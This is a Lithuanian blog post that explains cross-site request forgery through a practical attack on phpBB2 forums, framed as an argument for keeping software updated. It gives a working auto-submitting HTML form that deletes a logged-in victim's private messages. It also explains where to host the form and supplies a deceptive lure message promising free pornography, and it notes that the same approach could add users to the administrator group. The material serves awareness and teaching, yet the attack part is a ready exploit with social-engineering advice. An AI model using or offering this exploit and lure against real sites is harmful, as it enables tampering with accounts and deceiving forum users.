Nutiko taip jog reikėjo argumentuotai paaiškint kodėl reikia naudot naujausią forumą versiją ir kodėl reikia gaišt savo brangų laiką atnaujinant forumą(ar programinę įrangą). Sausa teorija paprastai nepasiekia adresato:) Reikėjo parodyt praktiškai, tiesiog kad nebeliktų klausimo „kodėl“. Aš nei su saugumu nei su piktavaliais neturiu nieko bendro ir gilių žinių toje srityje neturiu, viskas kas čia parašyta yra paimta iš google, tiesiog surinkta informacija ir pritaikyta praktikoj, tai nėra mano asmeninė ilgametė patirtis.

Iš wikipedia(laisvas vertimas):
Cross-site request forgery, taip pat žinoma kaip vieno spragtelėjimo ataka ar sesijos užvaldymas trumpinama kaip CSRF ar XSRF, tai yra kenkėjiško tipo pažeidžiamumas kai tinklapiui perduodamos komandos/užduotys nelyg jas perduotų patikimas naudotojas. Netaip kaip cross-site scripting (XSS) kuri išnaudoja naudotojo pasitikėjimą konkrečiu tinklapiu, CSRF išnaudoja tinklapio pasitikėjimą naudotoju(jo naršykle).

Praktinė pusė

Pažeidžiamumas phpbb2(sena versija, todėl reik naudot phpbb3) forume, visų gautų naudotojo AŽ pašalinimas(lygiai taip pat galim naudot pridėjimą į administratorių grupę ar šiaip naudotojo pašalinimą, bet pavyzdžiui naudoju nekaltą variantą).

Nueinam į google parašom „phpbb2 exploit“ ir renkamės iš milijono pažeidžiamumų, bet ne tame esmė 🙂 Darom prielaidą jog reikia padaryti tai kas neaprašyta arba aprašyta per daug glaustai. Įsidiegiam(arba nueinam į aukos forumą) phpbb2 forumą, susirandam norimą atlikti(kurį atliks auka) veiksmą, mano atveju tai visų AŽ šalinimas. Nueinam į puslapį kuriame galima trinti visas AŽ mano atveju http://localhost/phpBB2/privmsg.php?folder=inbox matom mygtuką „delete all“, mūsų atakos tikslas – padaryti taip jog forumas galvotų jog naudotojas paspaudė tą mygtuką:) Paspaudžiam jį, mūsų paklausia ar tikrai. Tai yra paskutinis žingsnis prieš atliekant veiksmą, jis mum ir reikalingas, galima naudoti tam skirtas programas arba paanalizuoti pradinį kodą ir pažiūrėti ką ir kur forumas siunčia, aš naudoju firefox tai tiesiog nueinu Firefox->Priemonės->Saityno kūrėjams->Tyriklis->Paspaudžiu ant pasirinkimo galimybės, pasirenku mygtuką „Yes“ ir matau reikalingą kodo dalį:

<input type="hidden" value="" name="mode"></input>
<input type="hidden" value="true" name="deleteall"></input
input type="submit" value="Yes" name="confirm"></input>
<input type="submit" value="No" name="cancel"></input>

Matau jog „post“ metodu siunčiami 3 duomenys(pastaba: aš dabar pagalvojau, jei nemokat programuot(web), nesugebat skaityt pradinio puslapio kodo tai aš rašau ne jums, be reikalo skaitot) :
„mode“, „deleteall“ ir „submit“ tai tikslas tampa aiškus – reikia forumui nusiųsti tuos duomenis, parašom(kalba pagal pageidavimą ir situaciją) maždaug:

<html><body onload=javascrtipt:document.xsrf.submit()>
<form action="http://localhost/phpBB2/privmsg.php?folder=inbox" method="post" name="xsrf">
<input type="hidden" name="mode" value=""/>
<input type="hidden" name="deleteall" value="true"/>
<input type="hidden" name="confirm" value="Yes"/>
</form></body></html>

kadangi sugebat skaityt pradinį kodą, tai manau čia viskas aišku. Išsaugom kaip „csrf.html“. Įkeliam tą failą kurnors į nemokamą talpinimo srevery ar šiaip kurnors. Dabar tikslas yra priversti naudotoją(prisijungusį prie forumo kuriame bus ištrintos AŽ) nueiti į tą puslapį, galim parašyt kažkokį tekstą kuris priverstų auką nueiti į tą puslapį arba vietoj html naudoti paveiksliuką(apie .htaccess ir failų tipus nepasakosiu) arba šiaip kažką sugalvot, tikri piktavaliai manau turi nepalyginamai daugiau socialinės inžinerijos žinių ir turi kažkokių patikimesnių būdų, aš sugalvojau tik tokius variantus. Vienu žodžiu tam forume parašom žmogui AŽ su tekstu:
Labas, paskaityk mano naują įrašą http://akmc.lt/csrf.html parašiau kaip žiūrėti mokamą pornografiją nemokamai:) “ žmogus paspaudžia ant nuorodos, jam parodomas tuščias langas(nes faile csrf.html neparašyta instrukcija kur rast nemokamos pornografijos, bet galim ir parašyt) ir forume kuris yra „auka“ pašalinamos visos to žmogaus AŽ 🙂 Išbandyta praktikoj, viskas veikia 🙂 Kai pašalinamos visos AŽ galima parašyt naują AŽ su tekstu „va todėl reikia naudot naujausią forumo/programinės įrangos versiją, senose žinomi ir viešai prieinami visi pažeidžiamumai ir kiekvienas norintis gali jais pasinaudoti“.

P.S. Aš rašiau su mintimi „naudokit naujausią programos versiją“, o ne „va instrukcija kaip galit pasijust hacker’iais ir pridaryt kažkam bėdų“.